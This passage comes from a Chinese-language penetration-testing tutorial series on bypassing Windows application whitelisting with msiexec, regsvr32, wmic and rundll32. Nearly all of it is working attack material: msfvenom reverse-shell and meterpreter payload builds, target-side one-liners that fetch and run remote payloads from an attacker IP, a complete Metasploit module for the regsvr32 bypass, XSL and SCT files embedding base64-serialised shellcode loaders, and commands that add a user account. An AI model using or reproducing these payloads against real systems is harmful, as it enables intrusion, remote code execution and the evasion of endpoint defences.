    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(
    UInt32 lpThreadAttributes,
    UInt32 dwStackSize,
    UInt32 lpStartAddress,
    IntPtr param,
    UInt32 dwCreationFlags,
    ref UInt32 lpThreadId
    );
```

```
    [DllImport("kernel32")]
    private static extern bool CloseHandle(IntPtr handle);
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(
    IntPtr hHandle,
    UInt32 dwMilliseconds
    );
    [DllImport("kernel32")]
    private static extern IntPtr GetModuleHandle(
    string moduleName
    );
    [DllImport("kernel32")]
    private static extern UInt32 GetProcAddress(
    IntPtr hModule,
    string procName
    );
    [DllImport("kernel32")]
    private static extern UInt32 LoadLibrary(
    string lpFileName
    );
    [DllImport("kernel32")]
    private static extern UInt32 GetLastError();
}
```

78. 基于白名单Msiexec执行payload第八季

- Windows 2003 默认位置

```
C:\WINDOWS\system32\msiexec.exe
C:\WINDOWS\SysWOW64\msiexec.exe
```

- 配置payload

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 - f msi >
Micropoor_rev_x64_53.txt
```

- 靶机执行

```
C:\Windows\System32\msiexec.exe /q /i
http://192.168.1.4/Micropoor_rev\_x64_53.txt
```

79. 基于白名单Regsvr32执行payload第九季

- Windows 2003 默认位置

```
C:\WINDOWS\SysWOW64\regsvr32.exe
C:\WINDOWS\system32\regsvr32.exe
```

msf 已内置auxiliary版本的regsvr32_command_delivery_server，但是最新版已经无 exploit版本 regsvr32

- 配置攻击机msf

```
use auxiliary/server/regsvr32_command_delivery_server
set CMD net user Micropoor Micropoor /add
exploit
```

- 靶机执行

```
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
```

- powershell 版 Regsvr32

```
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Regsvrexe (.sct) Application Whitelisting Bypass Serve
r','Description' => %q(
This module simplifies the Regsvrexe Application Whitelisting Bypass technique.
The module creates a web server that hosts an .sct file.
When the user types the provided regsvr32 command on a system, regsvr32 will
request the .sct file and then execute the included PowerShell command.
This command then downloads and executes the specified payload (similar to the
web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can
occur on the same port.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # AppLocker bypass research and vulnerability discover y(@subTee)

'Trenton Ivey', # MSF Module (kn0)
],
'DefaultOptions' =>
{
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Targets' => [['PSH', {}]],
'Platform' => %w(win),
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 19 2016',
'References' =>
[
['URL', 'http://subt0xblogspot.com/2016/04/bypass-application-whitelisting-
script.html']
]
))
end
def primer
print_status('Run the following command on the target machine:')
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
end
def on_request_uri(cli, _request)
# If the resource request ends with '.sct', serve the .sct file
```

```
# Otherwise, serve the PowerShell payload
if _request.raw_uri =~ /.sct$/
serve_sct_file else
serve_psh_payload
end
end
def serve_sct_file
print_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string =
Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
data = gen_sct_file(psh_command)
send_response(cli, data, 'Content-Type' => 'text/plain')
end
def serve_psh_payload
print_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli,data,'Content-Type' => 'application/octet-stream')
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#
{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#
{Rex::Text.rand_text_hex12}"
end
def gen_sct_file(command)
%
{
    <?XML version="0"?><scriptlet><registrationprogid="#{rand_text_alphanumeric
8}"
    classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne
wActiveXObject("WScript.Shell").Run("#{command}",0);
    ]]><script></registration> </scriptlet>
}
end
end
```

-
    - 使用方法

```
copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-
framework/modules/exploits/windows/misc
```

80. 基于白名单Wmic执行payload第十季

- Windows 2003 默认位置:

```
C:\WINDOWS\system32\wbem\wmic.exe
C:\WINDOWS\SysWOW64\wbem\wmic.exe
```

- Windows 7 默认位置

```
C:\Windows\System32\wbem\WMIC.exe
C:\Windows\SysWOW64\wbem\WMIC.exe
```

- 靶机执行
  - Win 7

```
C:\Windows\SysWOW64\wbem\WMIC.exe os get
/format:"http://192.168.1.4/Micropoor.xsl"
```

  - 2003

```
WMIC.exe os get /format:"http://192.168.1.4/Micropoor_2003.xsl"
```

  - **Micropoor_Win7.xsl**

```
<?xml version='0'?>
<stylesheet
    xmlns="http://www.worg/1999/XSL/Transform" xmlns:ms="urn:schemas
-microsoft- com:xslt"
    xmlns:user="placeholder"
    version="0">

    <output method="text"/>

    <ms:script implements-prefix="user" language="JScript">


        <![CDATA[

        function setversion() {

        }

        function debug(s) {}

        function base64ToStream(b) {

        var enc = new ActiveXObject("System.Text.ASCIIEncoding");

        var length = enc.GetByteCount_2(b);

        var ba = enc.GetBytes_4(b);

        var transform = new
ActiveXObject("System.Security.Cryptography.FromBase64Transform");

        ba = transform.TransformFinalBlock(ba, 0, length);

        var ms = new ActiveXObject("System.IO.MemoryStream");
```

```
        ms.Write(ba, 0, (length / 4) * 3);

        ms.Position = 0;

        return ms;

        }
        var serialized_obj =
"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2x"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAk"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXR"+
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXR"+
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVN"+
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5Sdw50aW1lLljlbW9"+
"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjA"+
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAA"+
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwA"+
"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQ"+
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUV"+
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAA"+
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9"+
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR"+
"cGUQR2VuZXJpY0FyZ3VtZW5OcwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAY"+
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwA"+
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5"+
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzd"+
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXN"+
"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"YW0gY2Fubm9OIGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAA"+
```

```
"AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAQ
A"+
"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCk
A"+
"AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAIIAAASAAAAAAAAAA
A"+
"AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAAB
A"+
"AAAABAAAAA4AAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAA
A"+
"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgA
A"+
"KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQH
H"+
"4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15Fi
L"+
"WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej
/"+
"0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH
/"+
"1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagB
W"+
"U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcM
p"+
"xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKChYGjml
+"+
"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgM
o"+
"BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4
z"+
"MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAY
A"+
"ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAA
A"+
"DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAA
B"+
"AAAAAAQAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEE
C"+
"hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQA
A"+
"AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABE
A"+
"aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAAC
A"+
"AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAA
A"+
"BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgA
u"+
"ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHk
A"+
"UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAE
J"+
"AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAABADs
A"+
```

```
"AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGx
D"+
"b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQ
A"+
"UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3J
T"+
"aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdAB
s"+
"cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmV
h"+
"dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJ
p"+
"dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9
u"+
"AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F
0"+
"dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQ
A"+
"Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJ
B"+
"QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19
T"+
"dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGV
s"+
"cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9
F"+
"eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8
A"+
"RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJ
p"+
"ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uN0usKWQeLbsD4ACLd6XFYZNOC
J"+
"AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERA
H"+
"AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFld
y"+
"YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlN
l"+
"Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3V
s"+
"dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmV
y"+
"aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQA
A"+
"AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
```

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAA
A"+
"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAAB
W"+
"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA
A"+
"PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwA
A"+
"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGc
A"+
"RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQB
E"+
"AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4
A"+
"AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQB
p"+
"AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGE
A"+
"bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQB
u"+
"AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAA
A"+
"NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAA
B"+
"AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A"+

```
"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZ
s"+
"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";

        var entry_class = 'ShellCodeLauncher.Program';

        try {

        setversion();

        var stm = base64ToStream(serialized_obj);

        var fmt = new
ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatte
r');

        var al = new ActiveXObject('System.Collections.ArrayList');

        var d = fmt.Deserialize_2(stm);

        al.Add(undefined);

        var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

        } catch (e) {

        debug(e.message);

        }

    ]]> </ms:script>

</stylesheet>
```

- **Micropoor_2003.xsl**

```
<?xml version='0'?>
<stylesheet
    xmlns="http://www.worg/1999/XSL/Transform" xmlns:ms="urn:schemas
-microsoft-com:xslt"

    xmlns:user="placeholder"
    version="0">

    <output method="text"/>

    <ms:script implements-prefix="user" language="JScript">


        <![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("net user Micropoor
Micropoor /add");

    ]]> </ms:script>
```

```
</stylesheet>
```

81. 基于白名单Rundll32.exe执行payload第十一季

- Windows 2003 默认位置

```
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```

- Windows 7 默认位置

```
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```

- 靶机执行

```
C:\Windows\SysWOW64\rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:ht
tp://192.168.1.4/Rundll32_shellcode")
```

- 基于本地加载（2）
  - **payload**配置

    ```
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
    LHOST=192.168.1.4 LPORT=53 -f dll > Micropoor_Rundll32.dll
    ```

  - 靶机执行

    ```
    rundll32 shell32.dll,Control_RunDLL d:\Micropoor_Rundll32.dll
    ```

- 基于命令执行（3）
  - 靶机执行[**Windows 2003**]

    ```
    rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new
    ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");
    ```

- Rundll32_shellcode

```


<?xml version="0"?>
<package>
<component id="Micropoor">
<script language="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
```

```
var ba = enc.GetBytes_4(b);
var transform = new
ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj =
"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+

"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+

"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+

"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+

"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ5OYXJnZXRU"+

"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+

"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW9O"+

"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+

"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+

"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+

"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+

"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+

"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+

"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+

"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+

"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+

"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+

"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+

"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+

"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+

"ZW1ibHkGFwAAAARMb2FkCg8MAAAABQAAAJNWpAAAWAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+

"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+
```

```
